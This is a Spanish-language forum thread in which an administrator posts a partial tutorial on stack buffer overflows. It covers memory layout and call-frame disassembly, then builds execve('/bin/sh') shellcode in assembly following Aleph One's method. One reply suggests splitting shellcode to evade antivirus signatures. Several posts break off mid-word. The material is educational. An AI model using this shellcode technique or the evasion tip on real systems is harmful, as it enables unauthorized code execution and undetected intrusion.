Autor Tema: Buffer Overflows  (Leído 371 veces)

fulapol

  • Administrador
  • Mensajes: 23
    • Ver Perfil
    • Email
Buffer Overflows
« : septiembre 20, 2010, 12:03:33 am »
Aun en construccion xD lo primero, como funciona la memoria.

Buffer Overflows

Fulapol

La mayoria de los exploits basados en Buffer Overflow tratan de obtener una cuenta administrativa mediante la ejecucion de codigo malicioso. El principio es muy simple: las intrucciones maliciosas se almacenan en un buffer, donde se desbordan alterando varias secciones de la memoria manipulando el proceso.

Existen dos tipos de ataques: stak overflow y heap overflow. Primero veamos como se organiza la memoria.

Cuando un programa se ejecuta sus elementos se mapean en la memoria de cierta manera. La parte alta contiene los parametros del proceso, luego siguen dos secciones, stack y heap, que se colocan durante el tiempo de ejecucion.

La stack o pila es donde se almacenan las variables y argumentos necesarios para llamar a una funcion. Esta funciona con el sistema LIFO (Last In, First Out) y crece hacia la memoria baja.

Las variables dinamicas se almacenan en heap o monticulo. Generalmente son el resultado de funciones como malloc en C que nos devuelven un puntero a la direccion de memoria reservada.

Las secciones .bss y .data estan destinadas a las variables globales y se colocan durante la compilacion. La seccion .data contienes informacion estatica inicializada, mientras que la que no esta inicializada se encuentra en .bss

La ultima seccion es .text que contiene el codigo e incluso informacion de solo lectura.

Algunos ejemplos de como funciona:

char vacia;  // .bss
char valor = 'a';  // .data
int main (){
static int vacia2; // .bss
static int valor2 = 1; // .data
char *punt = malloc(3); // Heap
}

Ahora veamos que sucede en la memoria (o la pila) cuando se usan las funciones.
En un sistema Unix una llamada a una funcion se hace en 3 pasos:

1.- Se guarda el puntero del marco actual. Un marco (frame) es la unidad de la pila y contiene todos los elementos relacionados con una funcion. Aqui se reserva la memoria necesaria para la funcion.
2.- Los parametros de la funcion se almacenan en la pila y se guarda el puntero de instruccion (registro asm) para saber a donde regresar cuando acabe la funcion.
3.- Se regresa al marco anterior de la pila

Un ejemplo de como funciona esto nos ayudara a entender como es que funcionan las tecnicas mas comunes de Buffer Overflow.

En el codigo:

int funcion(int a, int b, int c){
int i=4;
return (a+i);
}

int main(int argc, char **argv){
funcion(0, 1, 2);
return 0;
}

Si lo desensamblamos para conocer la forma real en la que trabaja obtendremos algo asi:

1.-

Dump of assembler code for function main:
0x80483e4 <main>: push %ebp
0x80483e5 <main+1>: mov %esp,%ebp
0x80483e7 <main+3>: sub $0x8,%esp

Vemos que estan los registros EBP y ESP, el primero es un puntero al frame actual y el segundo es un puntero a la parte alta de la pila. En esta parte guarda la direccion del marco actual y cambia a otro.

2.-

0x80483ea <main+6>: add $0xfffffffc,%esp
0x80483ed <main+9>: push $0x2
0x80483ef <main+11>: push $0x1
0x80483f1 <main+13>: push $0x0
0x80483f3 <main+15>: call 0x80483c0 <funcion>

La funcion es llamada con estas 4 instrucciones. Primero los parametros se introducen mediante el sistema LIFO, por lo que estan en orden inverso, y despues se llama a la funcion.

3.-

0x80483f8 <main+20>: add $0x10,%esp
0x80483fb <main+23>: xor %eax,%eax
0x80483fd <main+25>: jmp 0x8048400 <main+28>
0x80483ff <main+27>: nop
0x8048400 <main+28>: leave
0x8048401 <main+29>: ret
End of assembler dump.

Esta instruccion representa que funcion() regresa a main(), limpiando los registros y regresando al frame anterior, que le pertenecia a main(). Las ultimas 2 instrucciones son el fin de main().

Ahora veamos la funcion:

Dump of assembler code for function funcion:
0x80483c0 <funcion>: push %ebp
0x80483c1 <funcion+1>: mov %esp,%ebp
0x80483c3 <funcion+3>: sub $0x18,%esp

Aqui en la funcion EBP apunta hacia el ambiente por lo que manda a la pila y se corre hacia arriba en la memoria para tomar una direccion baja y  reservar espacio para las variables de la funcion.

0x80483c6 <funcion+6>: movl $0x4,0xfffffffc(%ebp)
0x80483cd <funcion+13>: mov 0x8(%ebp),%eax
0x80483d0 <funcion+16>: mov 0xfffffffc(%ebp),%ecx
0x80483d3 <funcion+19>: lea (%ecx,%eax,1),%edx
0x80483d6 <funcion+22>: mov %edx,%eax
0x80483d8 <funcion+24>: jmp 0x80483e0 <funcion+32>
0x80483da <funcion+26>: lea 0x0(%esi),%esi

Estas son las instrucciones de la funcion.

0x80483e0 <funcion+32>: leave
0x80483e1 <funcion+33>: ret
End of assembler dump.

Y aqui retorna. Estas dos intrucciones regresan a EBP y ESP a sus valores anteriores, aunque recordemos que antes de entrar a la funcion estos ya habian sido modificados, y regresa IP para saber que posicion de la memoria contiene la instruccion a ejecutar.

Este ejemplo nos demuestra como se modifica la pila y los punteros cuando una funcion es llamada. Lo importante es observar como se reserva la memoria. Si esto no se hace con cuidado se puede modificar la estructura de la memoria y ejecutar codigo nuevo. Esto podria suceder ya que la direccion donde se encuentra la instruccion siguiente se copia desde la pila al registro EIP.

Todo esto sucede en la pila, asi que si manipulamos la pila podemos acceder a esa zona y sobreescribirla para que apunte a lo que nosotros queremos.

Str4ng3letS

  • E=mc²
  • Administrador
  • Mensajes: 344
  • S-Lozano
    • MSN Messenger - stynky_xp4rky3x@hotmail.com
    • Ver Perfil
    • F1s1c0-H4ck3r
Re: Buffer Overflows
« Respuesta #1 : septiembre 20, 2010, 11:02:44 am »
No es por da

fulapol

  • Administrador
  • Mensajes: 23
    • Ver Perfil
    • Email
Re: Buffer Overflows
« Respuesta #2 : septiembre 20, 2010, 09:00:23 pm »
Bueno, por la pregunta eso se logra inyecctando codigo mediante los buffers y llamandolo, lo que podemos hacer es un mega programa que pueda saber donde se encuentra por el mismo y dividirlo en varias partes, esto para que se ejecute en pasos y el AV tenga mas trabajo a la hora de buscar las firmas, que no son otra cosa que las shell codes inyectadas.

Sigo

Buffers

En los programas que usan la memoria de la maquina ( C, C++) un buffer no es otra cosa un puntero que tiene la posicion del primer byte de una cadena y el final esta representado por un byte NULL (\0). No hay manera de conocer o reservar el tama

fulapol

  • Administrador
  • Mensajes: 23
    • Ver Perfil
    • Email
Re: Buffer Overflows
« Respuesta #3 : septiembre 20, 2010, 09:01:30 pm »
La funcion execve() esta hecha bajo un sistema Linux con soporte Intel. Las llamadas del sistema (syscalls) varian dependiendo del sistema operativo, del CPU, del compilador, y de algunas otras cosas. Esto puede ser diferente en algunas maquinas.

-------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

El inicio de la funcion. Manejamos la pila

0x80002c0 <__execve+4>: movl   $0xb,%eax

Copia Oxb (11) en la pila. Este es el numero de la syscall execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

Copia la direccion de name[0] en EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

Copia la direccion de name[1] en ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

Copia la direccion de NULL en EDX.

0x80002ce <__execve+18>:        int    $0x80

Pasa a modo kernel.
-------------------------------------------------------

Ejecutar execve() no es muy complicado. Sus requisitos son:

1.- La cadena "/bin/sh\0" en la memoria
2.- La direccion de esa cadena
3.- Copiar 0xb en EAX
4.- Copiar la direccion de (2) en EBX
5.- Copiar (2) en ECX
6.- Copiar la direccion de la word NULL en EDX
7.- Ejecutar la int $0x80

Si esto llegara a fallar lo que sucedera es que se ejecutaran las instrucciones que estan en la pila despues de estas. Para evitar que ejecute codigo basura debemos incluir una funcion que termine esto. Para ello usamos el siguiente codigo:

exit.c
-------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
-------------------------------------------------------

Volvamos a analizarlo otra ves:

-------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit

GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
-------------------------------------------------------

Esto coloca el valor 0x1 en EAX, pone el valor de salida en EBX y ejecuta int $0x80. Los pasos para tener una funcion completa serian:

1.- La cadena "/bin/sh\0" en la memoria
2.- La direccion de esa cadena
3.- Copiar 0xb en EAX
4.- Copiar la direccion de (2) en EBX
5.- Copiar (2) en ECX
6.- Copiar la direccion de la word NULL en EDX
7.- Ejecutar la int $0x80
8.- Copiar 0x1 en EAX
9.- Copiar 0x0 en EBX
10.- Ejecutar la int $0x80

Esto en asm, incluyendo la cadena dentro del codigo,quedaria asi:

-------------------------------------------------------
        movl   string_addr,string_addr_addr
   movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
   int    $0x80
        /bin/sh string goes here.
-------------------------------------------------------

Esto nos regresa al problema inicial. No conocemos la posicion del buffer y por lo tanto tampoco sabemos la posicion de nuestras cadenas. Una manera podria ser usando las intrucciones JMP y CALL. Estas usan la direccion IP relativa, lo que nos permite desplazarnos en forma relativa dentro de la memoria, sin usar una direccion especifica. Si ponemos un CALL antes de "/bin/sh" y luego usamos un JMP hacia ella, la direccion de "/bin/sh" pasaran a la pila como direccion de retorno de CALL. Lo unico necesario seria ponerla dentro de un registro.

Eso ultimo la verdad ni siquiera yo lo entendi en el texto asi que pondre mi explicacion. El buffer se almacena en una posicion X de la memoria. Dado que el sistema libera memoria segun las necesidades, esta posicion va cambiando dinamicamente. Como hemos visto las posiciones de memoria se almacen en los registros y en la stack. Lo que hacemos es insertar un CALL que funciona como una llamada a una funcion. Esto guarda la direccion del frame en donde nos encontramos asi que la direccion real de la pila queda grabada en el stack al momento de hacer la llamada. Esta llamada falsa hara que tomemos el valor guardado en la pila y asi sabremos exactamente donde estamos.

fulapol

  • Administrador
  • Mensajes: 23
    • Ver Perfil
    • Email
Re: Buffer Overflows
« Respuesta #4 : septiembre 20, 2010, 09:02:45 pm »
El codigo modelo que propone Aleph1, mencionando el espacio de cada instruccion, es el siguiente:

-------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax      # 5 bytes
        movl   $0x0, %ebx      # 5 bytes
   int    $0x80         # 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
--------------------------------------------------------

Ahora que sabemos la posicion relativa de cada instruccion (que es la suma del tama